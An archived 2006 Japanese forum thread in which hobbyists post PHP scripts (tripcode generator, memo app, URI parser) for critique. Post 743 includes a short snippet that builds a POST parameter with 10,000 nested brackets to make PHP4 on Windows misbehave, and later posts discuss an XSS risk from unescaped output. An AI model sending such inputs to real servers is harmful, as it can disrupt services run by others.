2006/02/19(日) 17:29:36ID:???0624nobodyさん
2006/02/19(日) 20:42:04ID:???で?
0625nobodyさん
2006/02/19(日) 23:06:12ID:???0626nobodyさん
2006/02/19(日) 23:08:14ID:???0627nobodyさん
2006/02/20(月) 09:25:06ID:???何かつくれyp
0628nobodyさん
2006/02/20(月) 16:22:52ID:???MMO厨はお帰りください
0629nobodyさん
2006/02/20(月) 23:18:20ID:???0630nobodyさん
2006/02/23(木) 07:43:17ID:???0631nobodyさん
2006/02/25(土) 10:06:02ID:???0632nobodyさん
2006/02/26(日) 12:17:54ID:???0633nobodyさん
2006/02/26(日) 13:12:17ID:???0634nobodyさん
2006/02/26(日) 21:38:13ID:???0635nobodyさん
2006/02/28(火) 12:40:08ID:???☆ チン 〃 ∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄
ヽ ___\(\・∀・)< ソースまだー?
\_/⊂ ⊂_)_ \_______
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄/|
|  ̄  ̄ ̄ ̄ ̄ ̄ ̄:| :|
| .|/
0636nobodyさん
2006/02/28(火) 13:48:47ID:???空気読めない厨房ウザすぎ
0640ちんこ先生 ◆Qm364jaZpk
2006/03/05(日) 01:26:43ID:Ve31vcRU0641nobodyさん
2006/03/05(日) 11:33:31ID:???あぼーん
0642nobodyさん
2006/03/05(日) 11:34:05ID:???よっしゃこい
0644557
2006/03/06(月) 05:15:51ID:???>>568 が間違っていることが判明しました。
& はビット演算子だけでなく、論理値の AND 演算子としても使われるようです。
function hoge(){
return first_process() & second_process() & third_process();
}
で、はじめ2つの関数の返り値に関わらず third_process までちゃんと評価されます。失礼しました。
0645nobodyさん
2006/03/06(月) 11:38:58ID:???0646557
2006/03/06(月) 18:02:34ID:DiuskzlQ仕様を読んだ限りでは & がビット演算子ということしか書かれていなかったので
よくよくテストをせずに早合点してしまった。十分反省している。
ところで、最近停滞ぎみっぽいので燃料を投下してみます。
http://trashtoy.dw.land.to/app/memo/memo.zip
はじめはサイトの更新履歴の公開・管理システムのつもりで作ったけど
イベントの告知や簡易スケジュール帳など、応用範囲は広いと思う。
詳しくは readme.txt を見るべし。
0647nobodyさん
2006/03/06(月) 18:49:45ID:???function Make_Trip($username) {
//◆を◇に置換
$username = str_replace("◆", "◇", $username);
//$usernameに#が含まれていればトリップ生成
if ( ($pos = strpos($username, '#')) !== false ) {
//usernameの'#'以降を$keyとする
$key = substr($username, ($pos + 1));
//サーバ側文字コードがShift-JISでない場合
if ( ($srvcharset = mb_internal_encoding()) != "Shift-JIS" ) {
//2ch互換トリップにするため「$keyの文字コードを」Shift-JISへ変換
mb_convert_variables("Shift-JIS", $srvcharset, $key);
}
//$keyから$salt生成($saltが2byteに満たないもののために'H.'を足しておく)
$salt = substr($key . "H.", 1, 2);
↓つづく
0648nobodyさん
2006/03/06(月) 18:50:37ID:???//検索パターン配列(64)生成
$pattern = array();
for( $cnt=0; $cnt<128; $cnt++ ){
//「.」「/」英数字以外を検索パターンとする
if ( ($cnt<46) or ($cnt>57 and $cnt<65) or ($cnt>90 and $cnt<97) or ($cnt>122) ) {
//16進ASCIIコードでの検索パターン文字列を生成
$pattern[] = '/[\\x' . dechex($cnt) . ']/';
}
}
//置換用ベース配列
$replacetmp = array('A', 'B', 'C', 'D', 'E', 'F', 'G', 'a', 'b', 'c', 'd', 'e', 'f', '.');
$cnt2 = 0;
//(検索パターンが64通りなのでその数に合わせた配列を用意)
for ($cnt1=0; $cnt1<64; $cnt1++ ) {
$replace[] = $replacetmp[$cnt2];
if ( $cnt2 < 13 ) {
$cnt2++;
} else {
$cnt2 = 0;
}
}
//●あほくさエリア突破●
↓続く
0649nobodyさん
2006/03/06(月) 18:51:12ID:???$salt = preg_replace($pattern, $replace, $salt);
//$saltに含まれる'.','/','0-9','A-Z','a-z'でないものを'.'に置換
$salt = preg_replace('/[^\.\/0-9A-Za-z]/', '.', $salt);
//トリップ生成(生成される文字列は11byte)
$trip = crypt($key, $salt);
//名前部分切り出し(#keyを含まない部分)
$name = substr($username, 0, $pos);
//(名前)+(生成されたトリップの後ろから10byte)を返す
$ret = $name . "◆" . substr($trip,-10);
//#が含まれていない場合
} else {
$ret = $username;
}
//戻り値は「name◆trip」または「name」
return $ret;
}
おわり。無駄が多いです。
0650647-649
2006/03/06(月) 18:53:45ID:???あほにし
えいヴぇっくす
しか使ってないです。
0651nobodyさん
2006/03/06(月) 18:54:04ID:???どのコンテンツもリンクが見当たらないんですが、、、
0652650
2006/03/06(月) 19:10:52ID:???初心者でもなんとなく処理内容の意味がわかるようにするためです。
もとにした2chトリップ生成ソースは
$salt = substr($key.'H.', 1, 2);
$salt =~ tr/\x3A-\x40\x5B-\x60\x00-\x2D\x7B-\xFF/A-Ga-f./;
$salt =~ s/[^\.\/0-9A-Za-z]/\./g;
$trip = substr(crypt($key, $salt), -10);
の、4行です。
自分はPHP最強房なのでperlよくわかんなかったです。
なので意味の解釈を間違っているかもしれません。
そのへんはperl最強房さんが解説していただけたらとか思ってます。
くだ質で聞こうかとも思ったけど、ここで晒して叩かれたほうが早いと思ったので載せました。
0653nobodyさん
2006/03/06(月) 19:28:05ID:???コメントの重要性を理解している点は評価できるんですが、
そんなあなたには「粒度」という言葉をプレゼントします。
処理にも、大きい単位から小さい単位までいろいろあるわけで、
すべてのコメントを小さい単位に合わせて書いたら、
ソースコードの見通しが全く見えなくなって、
コメントがないのと同じくらい意味がなくなってしまうのですよ。
あと、コメントの大事なポイントは、
全体の流れの中においてその処理が持っている意味を書くこと。
その処理がどういう動作をしているかは書かなくてもいいです。
そんなことは、PHPの文法が分かる人間だったら誰でも分かるんだから
よっぽど凝っていて複雑なアルゴリズムを書くとき以外には必要ないです。
というわけで、今後はコメントの書き方を要研究すべし。
ソースの中身は面倒なので読まなかったけど、パッと見て思ったのはそんなところ。
0654nobodyさん
2006/03/06(月) 19:41:27ID:???コメントが無駄すぎるね
0656nobodyさん
2006/03/06(月) 19:48:06ID:???> 全体の流れの中においてその処理が持っている意味を書くこと。
> その処理がどういう動作をしているかは書かなくてもいいです。
意味と動作の具体例みたいなのを教えてください。アホですみません。
0657nobodyさん
2006/03/06(月) 20:15:04ID:???具体例ねえ。難しいなあ。
とりあえず、参考として、似たようにアルゴリズムが複雑なプログラムのソースコードを
ここでも晒してみるか。Java だけど。ちなみに、以前他の板のスレで晒したものです。
http://trashtoy.dw.land.to/works/PrimeFinder.java
上で偉そうなことを言っておきながら、あまり参考にならないかも。すまん。
0658nobodyさん
2006/03/06(月) 20:16:16ID:???動作:関数の説明
意味:なぜその関数を利用するか
650の書き方は、スクリプトの解説サイトではよく見るけど、
リファレンス読まなくなって、別の使い方とか知らないままで終わるから諸刃の剣。
0659650
2006/03/06(月) 20:16:22ID:???perlどころかPHPも良くわかってない。
いま直し&考え中。。
>>653
> そんなことは、PHPの文法が分かる人間だったら誰でも分かるんだから
今までの流れから、このスレには「PHPの文法がわかる人間」が
そんなに多くないと解釈したうえでのコメント文です。(自分を含め)
653さんとは前提が違うようです。
しかし、わかる人間にはうざ過ぎて読むことすらして
もらえないということは良くわかりました。
普段こんなことはやってません。
これは関数なので、書くとしたら
//概要:$usernameに#が含まれていた場合にトリップを付加して返す
//引数:$username(string)
//※:「#」以降8byteまでがトリップ生成に使われる
//戻り値:「名前◆trip」または「名前」(string)
//※:tripは「0-9A-Za-z/.」の64種類中から10文字
とか関数上部に書くくらいです。
汚いもの載せてごめんなさい。
0661nobodyさん
2006/03/06(月) 20:39:08ID:???>>659 の言うことも分かった。晒して損したかも(´・ω・`)
>>657 はどう見ても五十歩百歩です。本当にありがとうございました。
ただ、分からない人に対する説明だとしても、やっぱり書き方はあると思う。
例えば書き方の一貫性。「○○を××します」っていう風に、
文として完結させることをすべてのコメントで徹底するだけでもだいぶ違うし。
0662nobodyさん
2006/03/06(月) 20:41:02ID:???// もし○○ならば
if(〜〜〜){
// ××を行う
do_something();
}
この書き方ってなんとなく嫌いです。昔は自分もやってたけど。
// もし○○ならば××を行う
if(〜〜〜){
do_something();
}
このほうが分かりやすいと思う。(コメントの文体に一貫性が出来るのとあいまって)
0663nobodyさん
2006/03/06(月) 20:44:57ID:???//xxxをxxxしてxxxする
〜
〜
〜
←空行
1行だけの説明なら同じ行に
〜//xxxする
0665nobodyさん
2006/03/07(火) 00:01:38ID:???0667nobodyさん
2006/03/07(火) 00:26:48ID:???2chの中ぜんぜん知らないから今どうなってるのかわかんないなぁ
0669nobodyさん
2006/03/07(火) 17:07:05ID:???程々にね。
0670nobodyさん
2006/03/07(火) 18:12:42ID:???0672nobodyさん
2006/03/09(木) 11:51:48ID:???0673nobodyさん
2006/03/10(金) 08:05:38ID:???XHTML1.1形式で出力する画像掲示板作ってる。xmlにxsltかませる部分のせる。
DBのデータ変換部分は省略。
$xml = なんかXMLな文字列
$xsl = new XSLTProcessor();
$xsl->importStyleSheet( DOMDocument::load("xhtml11.xsl") );
$xhtml = $xsl->transformToXML( DOMDocument::loadXML($xml) );
echo $xhtml;
PHPのマニュアルにのってるやり方真似してるだけですけど。
これだとどんな形式にもできていいですね。
XMLやらXSLTやらXPathやら覚えるの多すぎ。
とりあえず一晩でできたのはここまで。。(実際にはXSLT書いたりするのに一番苦労した)
PHPのDOM拡張モジュールとかXSL関数は便利なのでみなさんつかいませう。
http://jp2.php.net/manual/ja/ref.xsl.php
http://jp.php.net/manual/ja/ref.dom.php
素人がPHPでXML使うことを覚え始めて浮かれてるだけなのであんまり気にしないでください。。
0674nobodyさん
2006/03/11(土) 10:18:41ID:???0675ちんこ先生 ◆Qm364jaZpk
2006/03/12(日) 04:46:59ID:???ID認証型SSL式決済システム。
すぐ消す。リカーリングつき
0676nobodyさん
2006/03/12(日) 05:03:32ID:???0677ちんこ先生 ◆Qm364jaZpk
2006/03/12(日) 05:45:58ID:???0679nobodyさん
2006/03/12(日) 12:31:24ID:???tumanewwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww!!!!!!!!!!!!!!
0680nobodyさん
2006/03/12(日) 13:04:58ID:???0681nobodyさん
2006/03/12(日) 17:40:24ID:???0682nobodyさん
2006/03/12(日) 19:25:34ID:???自分の無知を棚に上げるな
0683nobodyさん
2006/03/12(日) 20:54:27ID:???あほか。お前らが信用できるうpロダを用意しろつってんだよ。
てきとーに選んであげたらまた文句言われるかもしれんだろ?
少しは脳みそ使え池沼。
0686nobodyさん
2006/03/13(月) 00:06:17ID:???0688nobodyさん
2006/03/13(月) 12:00:18ID:???今、試してみましたよ。
allow_call_time_pass_referenceが Onじゃないとtime.phpでwarnningが出まくるんですね。
家の環境(4.3.11エントロピ)では、Offに設定してあったので、ちょっとたまげました。
readmeに一言書いてあると良いかも?
0691646
2006/03/13(月) 16:11:36ID:???ありがとうございます。
こちらの環境でも allow_call_time_pass_reference を OFF にして動作チェックをしてみます。
>>689
よろしければエラーの記述をコピペしていただけると助かります。
0692nobodyさん
2006/03/13(月) 16:31:11ID:???俺の環境はshort_open_tagがoffなので動かない
タイトルが<?= MEMO_TITLE ?>
0693646
2006/03/13(月) 17:26:13ID:???なるほど。XML宣言を含むXML文書を簡単に出力したい人なんかは、
やっぱり short_open_tag をOFFにしたいですよね。
short_open_tag を OFF にしても動くように修正してみます。
0695646
2006/03/13(月) 19:19:55ID:nDHgXPavhttp://trashtoy.dw.land.to/app/memo/memo.zip
>>688 の foreach に関するエラーの件について。
自分の憶測なのですが、Webサーバーが
<input type="checkbox" name="arr[]" value="hoge">
形式のパラメータを解釈できないのかもしれません。
0697nobodyさん
2006/03/13(月) 19:35:05ID:???ごめん688じゃなく689でした。
配列がないよってえらーでしたね。たしか。
0698646
2006/03/13(月) 20:21:38ID:nDHgXPavバグが見つかったので更新しました。
http://trashtoy.dw.land.to/app/memo/memo.zip
どうもありがとうございます。
削除する際に、一部のPOSTパラメータが配列ではなくスカラー値だった場合
foreach 内で >>697 のエラーが起こるようになってました。
普通に使っている限りではそのようなことは起こらないと思うので、
>>689の現象はいまだに謎なのですが・・・。
ただ、少なくとも POST パラメータを改ざんすればエラーが発生するのは事実なので
これはれっきとした脆弱性だということで対処しました。
>>689の現象は起こらなくなるはずです。
0700646
2006/03/14(火) 02:24:22ID:???それは、どうも。
でも、やらないほうがいい悪い癖なんかもたくさんあると思うので、
あまり鵜呑みにしないほうがいいかもです。
ここに晒した時点で、もうこれだけ不具合が発覚しているわけですし。
0703nobodyさん
2006/03/14(火) 05:25:57ID:???0704nobodyさん
2006/03/15(水) 10:00:07ID:???配布サイトよりも解説サイトの方が 646氏は有名になれる希ガス。
そういうのは目指していないのかもしれないけど、コードを見ていて
そう思ったです。
0705nobodyさん
2006/03/16(木) 07:38:03ID:???0706nobodyさん
2006/03/16(木) 07:54:20ID:???読む人は他にいるんだから。
0707nobodyさん
2006/03/16(木) 08:26:13ID:???0709nobodyさん
2006/03/16(木) 19:54:09ID:???そんなことより先に技術見に付けろと言いたいが
0711nobodyさん
2006/03/16(木) 20:34:32ID:???スルーできてないじゃん
てかバーカwwwってガキかよ。。
スルーするならアンカーつけんな
0713nobodyさん
2006/03/16(木) 20:51:07ID:???春だなぁ・・・
0714nobodyさん
2006/03/16(木) 20:59:57ID:???頼むから「逝ってよし!」とか使わないでくれよ
0715nobodyさん
2006/03/16(木) 21:02:29ID:???おいおい「春」って・・・ 2ch初心者かよwww
頼むから「逝ってよし!」とか使わないでくれよ
お前恥ずかしいからそろそろやめとけ
0717nobodyさん
2006/03/16(木) 21:18:29ID:???>>715
「春」だの常用しちゃって、恥かしいのはお前だろw
皿仕上げ
文末にw付けてるお前のほうが恥ずかしいよ
0719nobodyさん
2006/03/16(木) 21:19:35ID:???頼むから「逝ってよし!」とか使わないでくれよ
0720nobodyさん
2006/03/16(木) 21:19:50ID:???0721nobodyさん
2006/03/16(木) 21:28:25ID:???飽きない奴らだな
0722nobodyさん
2006/03/16(木) 21:32:48ID:???だからスルーしろって
春だなぁ・・・
ブチキレてやんのwwwwwwwwwwwwwwwwwwwwwwwwwwwww
0723nobodyさん
2006/03/16(木) 21:33:44ID:???>悔しかったら何か晒してみろバーカwww
スルーできてないじゃん
てかバーカwwwってガキかよ。。
スルーするならアンカーつけんな
皿仕上げ
文末にw付けてるお前のほうが恥ずかしいよ
0724nobodyさん
2006/03/16(木) 21:34:52ID:???>>710=>>712=>>714=>>716
こういうのまだ居るのか・・・
(ノ∀`) アチャー
0725nobodyさん
2006/03/16(木) 21:36:02ID:???0727nobodyさん
2006/03/16(木) 21:40:15ID:???0728646
2006/03/16(木) 21:44:23ID:???分かりやすいコメントの書き方って難しいよね。
>>709
ぶっちゃけ、綺麗なアーキテクチャにとことんこだわるタイプです・・・。
自分はSEとかには向いてないだろうなーと思う。
納期とか守る自信ないし、やっつけ仕事的なコーディングをすることに耐えられないと思う。
0731nobodyさん
2006/03/16(木) 22:11:08ID:???0732nobodyさん
2006/03/16(木) 22:14:40ID:???>>710,>>712,>>714,>>716,>>719,>>722,>>723,>>724,>>725,>>730
両者そろそろうざい
それと>>730
煽るなら失敗はするなよ、自分をアンカーに入れて何がしたいんだ
0736nobodyさん
2006/03/16(木) 22:40:15ID:???0738nobodyさん
2006/03/17(金) 00:49:06ID:???0739nobodyさん
2006/03/17(金) 00:52:50ID:???( ‘д‘)
⊂彡☆))'A`)>738
0741nobodyさん
2006/03/17(金) 10:29:27ID:???このメモ編集システムおもしろそう
0742646
2006/03/17(金) 15:21:30ID:???それは、どうも。
このスクリプトって、外面的には、
初心者が勉強の一環として試しに作ってみた程度の機能しかついてないですけどねw
内面(セキュリティの面など)はそれなりのレベルまで高めてあるつもりですが。
0743nobodyさん
2006/03/17(金) 21:13:37ID:???セキュリティ重視なら表示くらいエスケープしなきゃだめじゃないっすかw
たぶんIEでしかチェックしていないんだと思いますけどFirefoxやOperaだと
削除できなくなりますよよよ。
それからPHP4で配列受けは大丈夫なんでしたっけ?
Windows版は今でも下みたいのをPOSTすると異常な動作しますけど。
$str = 'str';
for ($i = 0; $i < 10000; $i++) {
$str .= '[]';
}
$str .= '=test';
0744646
2006/03/17(金) 22:49:09ID:???WinIE, Firefox(Win), Opera に加え、MacIE, Safari, Firefox(Mac), Konquerer(Linux) でもテストをしました。
削除できないとのことですが、よろしければそちらの環境を教えていただけますでしょうか?
出来るだけ環境に依存しない仕様にしたいので。
> セキュリティ重視なら表示くらいエスケープしなきゃだめじゃないっすかw
このスクリプトは、サーバーの管理権限を持つユーザー(サイト運営者など)のみが
データの編集を行うことを想定しているため、
タグや実体参照のエスケープはしないようにしました。
ただし、万が一悪意のあるユーザーにログインされてしまうと、
クロスサイトスクリプティングによる攻撃を受ける可能性があるため
その危険性については readme.txt 内で言明してあります。
wiki や掲示板など、不特定多数のユーザーがデータを編集できるシステムについては
当然ながらデータを適切な形に変換する処理が必要だと思います。
0745nobodyさん
2006/03/17(金) 22:54:06ID:???そんなの言い訳に逃げてちゃいかん
XSS対策しておくに越したことはない
0746646
2006/03/17(金) 23:08:26ID:???自由にタグとか使えたほうが便利なんだけどな・・・(´・ω・`)
でも、利便性よりセキュリティを取る人もいるだろうし、
今後は、データにXSS対策を施すかどうかを
設定できるようにしたほうがいいかもしれないですね。
0747nobodyさん
2006/03/17(金) 23:10:22ID:???使えるタグを設定できるようにすればいい
0748nobodyさん
2006/03/17(金) 23:42:06ID:???わざわざ認証つけて管理者しか使えないようにしてるんだから、
十分な気がするよ。
0749nobodyさん
2006/03/17(金) 23:54:15ID:???0750646
2006/03/18(土) 00:23:10ID:???nucleus のソースをダウンロードして中身を見てみた。
似てるのかな?w
コメントが Javadoc 形式なのは同じだと思います。
0751nobodyさん
2006/03/18(土) 19:19:19ID:???入力されるデータによって操作できなくなるのは問題だな。
plaintext要素なんて使う奴居ないだろうけど。
>>737
PHP4.4以後の事を言ってるんだろうが
実行環境言わない奴はよく訓練されたベトコンだ。
0752nobodyさん
2006/03/18(土) 19:23:31ID:???よくわかった。
0753nobodyさん
2006/03/18(土) 22:32:16ID:???出たよ
0754646
2006/03/19(日) 01:02:35ID:???あ〜。なるほど。
例えば終了タグを閉じわすれたりとかね。
故意でやることはないと思うけど、"</form>"などの文字列を登録しちゃったらアウトですよね。
自己責任、と言いたいところだけど、やっぱり将来的には
特殊文字関連の扱い方をしっかり考えていきたいところです。
0755nobodyさん
2006/03/19(日) 01:05:31ID:???0756nobodyさん
2006/03/19(日) 01:09:08ID:???0757743
2006/03/19(日) 16:34:19ID:???ベトコンのことは良く知りません。ベタコンなら知ってます。
>>754
そゆことです。
>>752
参加しやすいようにテンプレ作っといたから使ってみてちょ。
【設置場所】 http://example.com/test.php
【ソース】 http://example.com/test.txt
【プログラミング経験】 3ヶ月 / 1年 / 3年
【希望評価スタイル】 悪い部分を指摘して欲しい / 良い部分を指摘して欲しい
【自分の性格】 かかってこいや! / またーり / 叩かれると自殺しちゃうかも
【備考】 B90/W58/H86 です。
0759nobodyさん
2006/03/19(日) 17:59:34ID:???0760nobodyさん
2006/03/19(日) 18:40:58ID:ShpQS04P【プログラミング経験】 6ヶ月
【職業】 工房(2年)
【備考】
掲示板を製作していたのですが、受験勉強のため、泣く泣く開発を中断しました。
どうせいじれないソースなら、公開してみなさんの意見を聞いたほうがいいと思っ
たので公開します。
サーバの設定に依存するところが多いので、設定ファイルも一緒にダウンロードで
きるようにしました。動かしたい人はそれを使ってください。
0761760
2006/03/19(日) 18:49:47ID:???・サーバルートにはbbs/publicディレクトリを指定してください。
・bbs/php_includes/parts/conf.phpのBASE_DIRは適宜変更してください。
説明が下手ですね…
0762nobodyさん
2006/03/19(日) 18:51:51ID:???0764760
2006/03/19(日) 18:57:18ID:???私ですか? 私はやってませんけど、以前兄がやってたみたいです。
googleのインデックスにそれっぽいのが残ってますね。
私も公開したスクリプトでアフィリエイトしようかとたくらんで
いたのですが、開発が面白すぎるので、もうそっちはどうでもい
い感じです。
0765nobodyさん
2006/03/19(日) 18:58:16ID:???0767nobodyさん
2006/03/19(日) 23:13:03ID:???う〜ん、この状態だと自分専用で他人が動かしてみようと言う気分にならないような。
標準で関数が揃っているものは自動化推薦(pathとか)
動かしてないからわかんないけどエラー処理が弱そうなのでその辺も強化すべし。
全体としてはこぎれいではあるけど読んで面白いプログラムではなさそうかな。
まあ、まずはプログラムより受験だね。
0769nobodyさん
2006/03/20(月) 15:22:06ID:???情報系の工房ならまぁ普通
0770760
2006/03/20(月) 15:55:01ID:???>>768
>>769
ソースをダウンロードしていただいてありがとうございます。
>>767
pathの解析などは、自分でも無駄が多いと思っていたので、息
抜き時間ができたら、またいじくってみます。アドバイスあり
がとうございました。
>>768
そういっていただけるとうれしいです。受験勉強もガンガリます。
>>769
工でも情でも、ましてや商でもなく普通の工房です。
ちなみに、サーバのドキュメントルートにbbsフォルダごとぶっこ
んで、bbs/public/index.phpにアクセスするだけで動くように調整
してみました。(要 Apache & PHP5)
【ソース】 http://www2.nct9.ne.jp/dorayaki/bbs.zip
0771nobodyさん
2006/03/21(火) 22:35:49ID:???面白いものを作ろうと思ったら高校レベルの数学は必須だと思うぞ。
1例としてサイトを紹介しようと思ったけど時間の浪費になると思うのでやめとく。
とにかく今は勉強すれ。絶対損はしないから。
0772646
2006/03/22(水) 01:39:04ID:WKCyChdz【設置場所】 http://trashtoy.dw.land.to/app/uri/
【ソース】 http://trashtoy.dw.land.to/app/uri/uri.zip
【プログラミング経験】 3年
【希望評価スタイル】 重箱の隅をつっつくような細かい指摘もどしどしお願いします。
【自分の性格】 アーキテクチャにとことんこだわるタイプ。納期を守るのはたぶん苦手。
【備考】 現在、この uri モジュールを使って memo システムのアドバンス版を作成中。
>>760
高3でここまで作れるのは正直凄いと思う。僕が高3のときはPCに関してはド素人だったし。
受験も頑張ってね! ちなみに自分はただいま就活の現実逃避中。
0775nobodyさん
2006/03/22(水) 16:36:36ID:???parse_url が扱うことが出来るのはあくまでも URL (Uniform Resource Locator) なので。
機能拡張して、URI (Uniform Resource Identifier) 全般を扱えるようにしたかった。
あと、このモジュールは ABNF に厳密に対応しているんだけど(まだ一部だけ手を抜いてるけど)、
将来的には、この文法に動的に制限を加えて書式を限定できるようにすることも視野に入れてます。
(例えば、"mailto:メールアドレス" 形式だけを受け付けられるようにしたり)
このシステム自体は、uri.php のテストのために作っただけです。
0776nobodyさん
2006/03/22(水) 16:39:15ID:???私は>>760さんと同じ高2です。
もし良ければ、そのサイトを教えていただけませんか?
数学はVは積分法の応用、Cは統計と確率が残っていますが、まだ厳しいでしょうか?
というのも、プログラミングで遊ぶのはこの春休みまでにしてパソコンは封印し、そのかわりに今のうちに多くのことを見ておきたいと思っています。
プログラミングは1年半で、CとC#とPHPしかできません。
0777nobodyさん
2006/03/22(水) 17:50:21ID:???0778nobodyさん
2006/03/23(木) 02:17:21ID:???自分で複雑なアルゴリズムでも作るのか
0779nobodyさん
2006/03/23(木) 02:30:04ID:???0781nobodyさん
2006/03/23(木) 09:44:11ID:???0782nobodyさん
2006/03/23(木) 10:23:45ID:???> 数学なんてプログラミングにいるか・・・?
> 自分で複雑なアルゴリズムでも作るのか
いるに決まってるだろアホ。
てめえみたいなのがいるからプログラマの単価がさがるんだよ。
氏ね
0783nobodyさん
2006/03/23(木) 10:28:18ID:???0784nobodyさん
2006/03/23(木) 10:32:05ID:???ゲームプログラマですらその程度では
足りね。
くだらね。
0785nobodyさん
2006/03/23(木) 11:04:16ID:???プログラミング歴6ヶ月の高校生に追い抜かれた
0786nobodyさん
2006/03/23(木) 16:02:52ID:???0787nobodyさん
2006/03/23(木) 16:06:16ID:???0789nobodyさん
2006/03/23(木) 18:44:26ID:???0790nobodyさん
2006/03/27(月) 11:59:22ID:???0792nobodyさん
2006/03/27(月) 15:28:48ID:???0793nobodyさん
2006/03/27(月) 15:40:19ID:???0794nobodyさん
2006/03/27(月) 15:43:30ID:???0797nobodyさん
2006/03/29(水) 10:35:32ID:???0798nobodyさん
2006/03/29(水) 12:38:19ID:???どうぞー
http://life.my.land.to/src/Send_Mail.zip
0799646
2006/03/29(水) 22:22:44ID:???確かに、このシステムの場合だったら
パスワードのみが書かれたテキストファイルさえあれば十分なんだけど、
より汎用的な認証モジュールを活用したため、結果的に XML フォーマットになりました。
このモジュールが XML を扱う理由は2つあって、
まず、一番大きい理由が、自分ルールのフォーマットを作りたくなかったこと。
例えば 「ログイン名とパスワードを ":" で区切って、各ユーザー情報を改行で区切る」
みたいなものです。
自分ルールの何が嫌かと言うと、そのソースを見る人が苦労するかもしれないから。
まあ、上の例で挙げたようなルールだったら簡単に推測できるだろうけど。
その分、XML の場合はフォーマットの中にそのデータの意味を含めることが出来るので
(このモジュールのXMLの場合は、要素名に name や password という単語を使っている)
より分かりやすいフォーマットになると思ったのです。
次に、応用が簡単なフォーマットであること。
W3C から勧告されている、XML 関連の様々な技術の適用対象となるので
例えば、第三者がこのスクリプトを拡張してこのパスワードファイルを別な用途にも使いたい
なんて時に、応用が簡単になる可能性があります。
フォーマットをYAMLにしなかった理由はここにあります。
0800646
2006/03/29(水) 22:27:21ID:???まず、その他の認証システムとモジュールを共有できること。
それぞれのシステムで共通したモジュールを使うすることで、モジュールの数を少なくすることができるし、
もしもこの認証モジュールにバグが見つかって複数の認証システムに影響がおよんだ場合でも、
1つのファイルだけをアップデートすれば済みます。
あと、リファクタリングが容易なこと。
例えば、今はパスワードだけでログインするようになってるけど、
今後のバージョンアップで、ログイン名+パスワードでログインできるような仕様にして
さらに複数の認証情報を登録できるようにしたい、なんてことがあっても
最小限の変更で実現できるようになります。
まあ、実際はそういう変更はしないと思うので、これは利点とはいえないけど。
0801nobodyさん
2006/03/30(木) 09:28:10ID:???って言われた
0802646
2006/03/30(木) 15:41:19ID:???あー、関数の返り値をそのまま他の関数に参照渡ししてますね。報告thx。
ttp://blog.ohgaki.net/index.php/yohgaki/2005/07/13/
というわけで修正しました。
http://trashtoy.dw.land.to/app/memo/memo.zip
この手のエラー、他のところでもやってそうで怖い(´・ω・`)
0803nobodyさん
2006/04/02(日) 11:15:08ID:???下のコードのように返り値を直接代入するとエラーで、上のように一旦変数に入れればOKってこと?
0804nobodyさん
2006/04/02(日) 13:38:08ID:???0805nobodyさん
2006/04/02(日) 13:53:00ID:???あくまでも、駄目なのは「参照渡し」ね。
function &hoge(){
static $x = 1;
return $x;
}
function increment(&$value){
$value ++;
}
$a = hoge();
$b =& $a;
increment($b); // これはOK
increment(hoge()); // これは駄目
0806nobodyさん
2006/04/02(日) 15:42:20ID:???0807nobodyさん
2006/04/02(日) 16:44:05ID:???0808nobodyさん
2006/04/02(日) 18:38:47ID:???0809nobodyさん
2006/04/02(日) 18:45:04ID:???0810nobodyさん
2006/04/02(日) 19:17:40ID:???0811772
2006/04/07(金) 19:27:39ID:jJE5oi/7相対 URI も解釈可能です。
【設置場所】 http://trashtoy.dw.land.to/app/uri/
【ソース】 http://trashtoy.dw.land.to/app/uri/uri.zip
【プログラミング経験】 3年
【希望評価スタイル】 重箱の隅をつっつくような細かい指摘もどしどしお願いします。
【自分の性格】 アーキテクチャにとことんこだわるタイプ。納期を守るのはたぶん苦手。
【実行例】
http://trashtoy.dw.land.to/app/uri/?uri=..%2Fsection%2F1.html%23TOC&base=http%3A%2F%2Fexample.com%2Fsitemap%2Findex.html
http://trashtoy.dw.land.to/app/uri/?uri=file%3A%2F%2F%2FC%3A%2FProgram%2520Files%2FInternet%2520Explorer
http://trashtoy.dw.land.to/app/uri/?uri=mailto%3Athis_is_a_test@example.com
【備考】 花見をもっと楽しみたかった。
0812nobodyさん
2006/04/07(金) 20:27:29ID:???乙
スクリプト指摘じゃないですが
http://trashtoy.dw.land.to/app/uri/
「省略化」になってる。
0813811
2006/04/07(金) 20:55:22ID:jJE5oi/7うっわ。なんで今まで気づかなかったんだろう・・・orz
サンクス(´・ω・`)
0814811
2006/04/10(月) 03:54:11ID:DfPzV1/Ohttp://trashtoy.dw.land.to/
0815nobodyさん
2006/04/15(土) 13:21:58ID:yIhdR1Yt0817nobodyさん
2006/04/28(金) 21:35:11ID:H79nRM7wフォームに入力した内容でURLを生成し、それ踏んで確かめるといった2パス構成
【設置場所】 http://www20.cds.ne.jp/~yugen/kgcheck.php
【ソース】 http://www20.cds.ne.jp/~yugen/pool/kgcheck.php.txt
【プログラミング経験】 2ヶ月(PHP以外も含めるなら15年ぐらい)
【希望評価スタイル】 好きにしてちょ
【自分の性格】 ぬるぽ
【備考】 キッズgooに"秘密"で引っかかってたので 工エェェ(´Д`)ェェエ工 と思いつつ、
いろいろ調べるために作ってみたです。
0819nobodyさん
2006/04/29(土) 13:00:42ID:???0821nobodyさん
2006/04/29(土) 15:33:05ID:???ふりがな結構おもしろいね
0822nobodyさん
2006/05/08(月) 00:29:17ID:???0823nobodyさん
2006/05/10(水) 11:40:06ID:???0824nobodyさん
2006/05/14(日) 20:36:35ID:llDkDqp80825nobodyさん
2006/05/16(火) 13:05:52ID:qj3A4Qdi0826nobodyさん
2006/05/17(水) 19:00:11ID:???0827nobodyさん
2006/05/17(水) 23:20:13ID:???たまに晒されるスクリプトも誰も使わないようなものばっかだし
0828nobodyさん
2006/05/17(水) 23:39:10ID:???ValidなXHTML 1.1を吐くスクリプトって結構少ないので挑戦してみたんだ。
で、実際にスクリプトを作ってみた。
コーディングも汚いんだろうなぁ…、と思いつつ、テストをしてみたら「500, Internal Server Error」が返された。
原因も分からないし、今日はもう寝る!
http:/kasamatusan.sakura.ne.jp/cgi-bin2/src/ichi35802.txt
0829nobodyさん
2006/05/18(木) 04:54:30ID:???んと
まずメールのあて先がtrueになりそう。
それから''内に\nは書けないね。
あとは、mb_internal_encoding('SJIS');を入れた方がいいかも
コーディングは、小規模で手を抜くとこうなるかなって感じ。
500はうちの環境では出なかった。
